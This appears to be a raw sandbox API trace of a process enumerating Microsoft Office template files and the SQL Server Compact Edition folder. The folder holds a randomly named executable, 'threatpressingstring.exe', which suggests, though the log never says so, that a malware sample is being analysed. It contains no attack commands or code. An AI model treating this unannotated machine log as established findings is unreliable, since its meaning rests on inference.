	[0053.514] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\OrielReport.Dotx" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\orielreport.dotx"), fInfoLevelId=0x0, lpFileInformation=0x12866008 | out: lpFileInformation=0x12866008*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b18ae00, ftCreationTime.dwHighDateTime=0x1ca911e, ftLastAccessTime.dwLowDateTime=0x1e4db210, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x3b18ae00, ftLastWriteTime.dwHighDateTime=0x1ca911e, nFileSizeHigh=0x0, nFileSizeLow=0x82b54)) returned 1
	[0053.514] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\OrielResume.Dotx" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\orielresume.dotx"), fInfoLevelId=0x0, lpFileInformation=0x12866058 | out: lpFileInformation=0x12866058*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b18ae00, ftCreationTime.dwHighDateTime=0x1ca911e, ftLastAccessTime.dwLowDateTime=0x1e4db210, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x3b18ae00, ftLastWriteTime.dwHighDateTime=0x1ca911e, nFileSizeHigh=0x0, nFileSizeLow=0x4ab41)) returned 1
	[0053.514] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\OriginLetter.Dotx" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\originletter.dotx"), fInfoLevelId=0x0, lpFileInformation=0x128660a8 | out: lpFileInformation=0x128660a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b18ae00, ftCreationTime.dwHighDateTime=0x1ca911e, ftLastAccessTime.dwLowDateTime=0x1e501370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x3b18ae00, ftLastWriteTime.dwHighDateTime=0x1ca911e, nFileSizeHigh=0x0, nFileSizeLow=0x1f56a)) returned 1
	[0053.515] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\OriginMergeFax.Dotx" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\originmergefax.dotx"), fInfoLevelId=0x0, lpFileInformation=0x128660f8 | out: lpFileInformation=0x128660f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b18ae00, ftCreationTime.dwHighDateTime=0x1ca911e, ftLastAccessTime.dwLowDateTime=0x1e501370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x3b18ae00, ftLastWriteTime.dwHighDateTime=0x1ca911e, nFileSizeHigh=0x0, nFileSizeLow=0x172e0)) returned 1
	[0053.515] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\OriginMergeLetter.Dotx" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\originmergeletter.dotx"), fInfoLevelId=0x0, lpFileInformation=0x12866148 | out: lpFileInformation=0x12866148*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b18ae00, ftCreationTime.dwHighDateTime=0x1ca911e, ftLastAccessTime.dwLowDateTime=0x1e501370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x3b18ae00, ftLastWriteTime.dwHighDateTime=0x1ca911e, nFileSizeHigh=0x0, nFileSizeLow=0x1f314)) returned 1
	[0053.515] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\OriginReport.Dotx" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\originreport.dotx"), fInfoLevelId=0x0, lpFileInformation=0x12866198 | out: lpFileInformation=0x12866198*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b18ae00, ftCreationTime.dwHighDateTime=0x1ca911e, ftLastAccessTime.dwLowDateTime=0x1e501370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x3b18ae00, ftLastWriteTime.dwHighDateTime=0x1ca911e, nFileSizeHigh=0x0, nFileSizeLow=0x5b011)) returned 1
	[0053.515] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\OriginResume.Dotx" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\originresume.dotx"), fInfoLevelId=0x0, lpFileInformation=0x128661e8 | out: lpFileInformation=0x128661e8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b18ae00, ftCreationTime.dwHighDateTime=0x1ca911e, ftLastAccessTime.dwLowDateTime=0x1e501370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x3b18ae00, ftLastWriteTime.dwHighDateTime=0x1ca911e, nFileSizeHigh=0x0, nFileSizeLow=0x23247)) returned 1
	[0053.516] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\PROJPLAN.XLTX" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\projplan.xltx"), fInfoLevelId=0x0, lpFileInformation=0x12866238 | out: lpFileInformation=0x12866238*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72cd1000, ftCreationTime.dwHighDateTime=0x1c99e00, ftLastAccessTime.dwLowDateTime=0xaf577d00, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x72cd1000, ftLastWriteTime.dwHighDateTime=0x1c99e00, nFileSizeHigh=0x0, nFileSizeLow=0x3b42)) returned 1
	[0053.520] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\PersonalMonthlyBudget.xltx" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\personalmonthlybudget.xltx"), fInfoLevelId=0x0, lpFileInformation=0x12866288 | out: lpFileInformation=0x12866288*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77b91500, ftCreationTime.dwHighDateTime=0x1c7c8e6, ftLastAccessTime.dwLowDateTime=0xfa64b3d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x77b91500, ftLastWriteTime.dwHighDateTime=0x1c7c8e6, nFileSizeHigh=0x0, nFileSizeLow=0x75b3)) returned 1
	[0053.521] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Pitchbook.potx" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\pitchbook.potx"), fInfoLevelId=0x0, lpFileInformation=0x128662d8 | out: lpFileInformation=0x128662d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb12da100, ftCreationTime.dwHighDateTime=0x1c69a95, ftLastAccessTime.dwLowDateTime=0xf5db14d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xb12da100, ftLastWriteTime.dwHighDateTime=0x1c69a95, nFileSizeHigh=0x0, nFileSizeLow=0x2e590)) returned 1
	[0053.521] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\ProjectStatusReport.potx" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\projectstatusreport.potx"), fInfoLevelId=0x0, lpFileInformation=0x12866328 | out: lpFileInformation=0x12866328*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x22cf4600, ftCreationTime.dwHighDateTime=0x1ca8f08, ftLastAccessTime.dwLowDateTime=0xf5e95d10, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x22cf4600, ftLastWriteTime.dwHighDateTime=0x1ca8f08, nFileSizeHigh=0x0, nFileSizeLow=0x9fd6a)) returned 1
	[0053.521] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\QuizShow.potx" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\quizshow.potx"), fInfoLevelId=0x0, lpFileInformation=0x12866378 | out: lpFileInformation=0x12866378*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdeda0600, ftCreationTime.dwHighDateTime=0x1c6d971, ftLastAccessTime.dwLowDateTime=0xf5e95d10, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xdeda0600, ftLastWriteTime.dwHighDateTime=0x1c6d971, nFileSizeHigh=0x0, nFileSizeLow=0x17697)) returned 1
	[0053.521] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\SalesReport.xltx" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\salesreport.xltx"), fInfoLevelId=0x0, lpFileInformation=0x128663c8 | out: lpFileInformation=0x128663c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77b91500, ftCreationTime.dwHighDateTime=0x1c7c8e6, ftLastAccessTime.dwLowDateTime=0xfa64b3d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x77b91500, ftLastWriteTime.dwHighDateTime=0x1c7c8e6, nFileSizeHigh=0x0, nFileSizeLow=0xa8ed)) returned 1
	[0053.521] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\TASKLIST.XLTX" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\tasklist.xltx"), fInfoLevelId=0x0, lpFileInformation=0x12866418 | out: lpFileInformation=0x12866418*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x88423a00, ftCreationTime.dwHighDateTime=0x1c99e00, ftLastAccessTime.dwLowDateTime=0xaf577d00, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x88423a00, ftLastWriteTime.dwHighDateTime=0x1c99e00, nFileSizeHigh=0x0, nFileSizeLow=0x2aea)) returned 1
	[0053.522] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\TimeCard.xltx" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\timecard.xltx"), fInfoLevelId=0x0, lpFileInformation=0x12866468 | out: lpFileInformation=0x12866468*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77b91500, ftCreationTime.dwHighDateTime=0x1c7c8e6, ftLastAccessTime.dwLowDateTime=0xfa697690, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x77b91500, ftLastWriteTime.dwHighDateTime=0x1c7c8e6, nFileSizeHigh=0x0, nFileSizeLow=0x44ff)) returned 1
	[0053.522] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Training.potx" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\training.potx"), fInfoLevelId=0x0, lpFileInformation=0x128664b8 | out: lpFileInformation=0x128664b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x22cf4600, ftCreationTime.dwHighDateTime=0x1ca8f08, ftLastAccessTime.dwLowDateTime=0xf5ebbe70, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x22cf4600, ftLastWriteTime.dwHighDateTime=0x1ca8f08, nFileSizeHigh=0x0, nFileSizeLow=0x12f35d)) returned 1
	[0053.522] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\UrbanLetter.Dotx" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\urbanletter.dotx"), fInfoLevelId=0x0, lpFileInformation=0x12866508 | out: lpFileInformation=0x12866508*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b18ae00, ftCreationTime.dwHighDateTime=0x1ca911e, ftLastAccessTime.dwLowDateTime=0x1e5274d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x3b18ae00, ftLastWriteTime.dwHighDateTime=0x1ca911e, nFileSizeHigh=0x0, nFileSizeLow=0x1c5f8)) returned 1
	[0053.522] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\UrbanMergeFax.Dotx" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\urbanmergefax.dotx"), fInfoLevelId=0x0, lpFileInformation=0x12866558 | out: lpFileInformation=0x12866558*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b18ae00, ftCreationTime.dwHighDateTime=0x1ca911e, ftLastAccessTime.dwLowDateTime=0x1e5274d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x3b18ae00, ftLastWriteTime.dwHighDateTime=0x1ca911e, nFileSizeHigh=0x0, nFileSizeLow=0x138a6)) returned 1
	[0053.522] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\UrbanMergeLetter.Dotx" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\urbanmergeletter.dotx"), fInfoLevelId=0x0, lpFileInformation=0x128665a8 | out: lpFileInformation=0x128665a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b18ae00, ftCreationTime.dwHighDateTime=0x1ca911e, ftLastAccessTime.dwLowDateTime=0x1e5274d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x3b18ae00, ftLastWriteTime.dwHighDateTime=0x1ca911e, nFileSizeHigh=0x0, nFileSizeLow=0x1c1b0)) returned 1
	[0053.523] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\UrbanPhotoAlbum.potx" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\urbanphotoalbum.potx"), fInfoLevelId=0x0, lpFileInformation=0x128665f8 | out: lpFileInformation=0x128665f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x219e1900, ftCreationTime.dwHighDateTime=0x1ca8f08, ftLastAccessTime.dwLowDateTime=0xf5db14d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x219e1900, ftLastWriteTime.dwHighDateTime=0x1ca8f08, nFileSizeHigh=0x0, nFileSizeLow=0x40d6e8)) returned 1
	[0053.523] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\UrbanReport.Dotx" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\urbanreport.dotx"), fInfoLevelId=0x0, lpFileInformation=0x12866648 | out: lpFileInformation=0x12866648*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b18ae00, ftCreationTime.dwHighDateTime=0x1ca911e, ftLastAccessTime.dwLowDateTime=0x1e5274d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x3b18ae00, ftLastWriteTime.dwHighDateTime=0x1ca911e, nFileSizeHigh=0x0, nFileSizeLow=0xd0fbe)) returned 1
	[0053.523] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\UrbanResume.Dotx" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\urbanresume.dotx"), fInfoLevelId=0x0, lpFileInformation=0x12866698 | out: lpFileInformation=0x12866698*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b18ae00, ftCreationTime.dwHighDateTime=0x1ca911e, ftLastAccessTime.dwLowDateTime=0x1e5274d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x3b18ae00, ftLastWriteTime.dwHighDateTime=0x1ca911e, nFileSizeHigh=0x0, nFileSizeLow=0x1ed1d)) returned 1
	[0053.523] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\WidescreenPresentation.potx" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\widescreenpresentation.potx"), fInfoLevelId=0x0, lpFileInformation=0x128666e8 | out: lpFileInformation=0x128666e8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x29d4c00, ftCreationTime.dwHighDateTime=0x1c6d972, ftLastAccessTime.dwLowDateTime=0xf5ebbe70, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x29d4c00, ftLastWriteTime.dwHighDateTime=0x1c6d972, nFileSizeHigh=0x0, nFileSizeLow=0x2df34)) returned 1
	[0053.525] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\Presentation Designs" (normalized: "c:\\program files\\microsoft office\\templates\\presentation designs"), fInfoLevelId=0x0, lpFileInformation=0x12866738 | out: lpFileInformation=0x12866738*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e7acd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x696f1810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x696f1810, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0053.525] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\Presentation Designs" (normalized: "c:\\program files\\microsoft office\\templates\\presentation designs"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0053.525] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\Presentation Designs\\*", lpFindFileData=0x127d3918 | out: lpFindFileData=0x127d3918*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e7acd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x696f1810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x696f1810, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0053.525] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d3938 | out: lpFindFileData=0x127d3938*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e7acd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x696f1810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x696f1810, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0053.525] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d3938 | out: lpFindFileData=0x127d3938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb67a1600, ftCreationTime.dwHighDateTime=0x1c65230, ftLastAccessTime.dwLowDateTime=0x696f1810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb67a1600, ftLastWriteTime.dwHighDateTime=0x1c65230, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Maple.gif", cAlternateFileName="")) returned 1
	[0053.525] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d3938 | out: lpFindFileData=0x127d3938*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0053.525] FindClose (in: hFindFile=0x7eb938 | out: hFindFile=0x7eb938) returned 1
	[0053.525] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\Presentation Designs\\Maple.gif" (normalized: "c:\\program files\\microsoft office\\templates\\presentation designs\\maple.gif"), fInfoLevelId=0x0, lpFileInformation=0x12866828 | out: lpFileInformation=0x12866828*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb67a1600, ftCreationTime.dwHighDateTime=0x1c65230, ftLastAccessTime.dwLowDateTime=0x696f1810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb67a1600, ftLastWriteTime.dwHighDateTime=0x1c65230, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0053.526] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft SQL Server Compact Edition" (normalized: "c:\\program files\\microsoft sql server compact edition"), fInfoLevelId=0x0, lpFileInformation=0x12866878 | out: lpFileInformation=0x12866878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e54b70, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xec640720, ftLastAccessTime.dwHighDateTime=0x1d52dc4, ftLastWriteTime.dwLowDateTime=0xec640720, ftLastWriteTime.dwHighDateTime=0x1d52dc4, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0053.526] CreateFileW (lpFileName="C:\\Program Files\\Microsoft SQL Server Compact Edition" (normalized: "c:\\program files\\microsoft sql server compact edition"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0053.526] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft SQL Server Compact Edition\\*", lpFindFileData=0x127d39e0 | out: lpFindFileData=0x127d39e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e54b70, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xec640720, ftLastAccessTime.dwHighDateTime=0x1d52dc4, ftLastWriteTime.dwLowDateTime=0xec640720, ftLastWriteTime.dwHighDateTime=0x1d52dc4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0053.526] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d3a00 | out: lpFindFileData=0x127d3a00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e54b70, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xec640720, ftLastAccessTime.dwHighDateTime=0x1d52dc4, ftLastWriteTime.dwLowDateTime=0xec640720, ftLastWriteTime.dwHighDateTime=0x1d52dc4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0053.526] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d3a00 | out: lpFindFileData=0x127d3a00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x41ba3e00, ftCreationTime.dwHighDateTime=0x1d4a45f, ftLastAccessTime.dwLowDateTime=0x95b21550, ftLastAccessTime.dwHighDateTime=0x1d4d718, ftLastWriteTime.dwLowDateTime=0x95b21550, ftLastWriteTime.dwHighDateTime=0x1d4d718, nFileSizeHigh=0x0, nFileSizeLow=0x12800, dwReserved0=0x0, dwReserved1=0x0, cFileName="threatpressingstring.exe", cAlternateFileName="THREAT~1.EXE")) returned 1
	[0053.526] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d3a00 | out: lpFindFileData=0x127d3a00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e54b70, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d3a4910, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d3a4910, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="v3.5", cAlternateFileName="")) returned 1
	[0053.526] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d3a00 | out: lpFindFileData=0x127d3a00*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0053.526] FindClose (in: hFindFile=0x7eb938 | out: hFindFile=0x7eb938) returned 1
	[0053.526] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft SQL Server Compact Edition\\threatpressingstring.exe" (normalized: "c:\\program files\\microsoft sql server compact edition\\threatpressingstring.exe"), fInfoLevelId=0x0, lpFileInformation=0x12866968 | out: lpFileInformation=0x12866968*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x41ba3e00, ftCreationTime.dwHighDateTime=0x1d4a45f, ftLastAccessTime.dwLowDateTime=0x95b21550, ftLastAccessTime.dwHighDateTime=0x1d4d718, ftLastWriteTime.dwLowDateTime=0x95b21550, ftLastWriteTime.dwHighDateTime=0x1d4d718, nFileSizeHigh=0x0, nFileSizeLow=0x12800)) returned 1
	[0053.526] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft SQL Server Compact Edition\\v3.5" (normalized: "c:\\program files\\microsoft sql server compact edition\\v3.5"), fInfoLevelId=0x0, lpFileInformation=0x128669b8 | out: lpFileInformation=0x128669b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e54b70, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d3a4910, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d3a4910, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0053.526] CreateFileW (lpFileName="C:\\Program Files\\Microsoft SQL Server Compact Edition\\v3.5" (normalized: "c:\\program files\\microsoft sql server compact edition\\v3.5"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0053.526] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft SQL Server Compact Edition\\v3.5\\*", lpFindFileData=0x127d397c | out: lpFindFileData=0x127d397c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e54b70, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d3a4910, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d3a4910, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0053.528] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d399c | out: lpFindFileData=0x127d399c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e54b70, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d3a4910, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d3a4910, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0053.528] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d399c | out: lpFindFileData=0x127d399c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e54b70, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x50e54b70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x50e54b70, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Desktop", cAlternateFileName="")) returned 1
	[0053.528] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d399c | out: lpFindFileData=0x127d399c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdd805600, ftCreationTime.dwHighDateTime=0x1c8d68c, ftLastAccessTime.dwLowDateTime=0x5ab6f770, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xdd805600, ftLastWriteTime.dwHighDateTime=0x1c8d68c, nFileSizeHigh=0x0, nFileSizeLow=0x8b840, dwReserved0=0x0, dwReserved1=0x0, cFileName="sqlceca35.dll", cAlternateFileName="SQLCEC~1.DLL")) returned 1
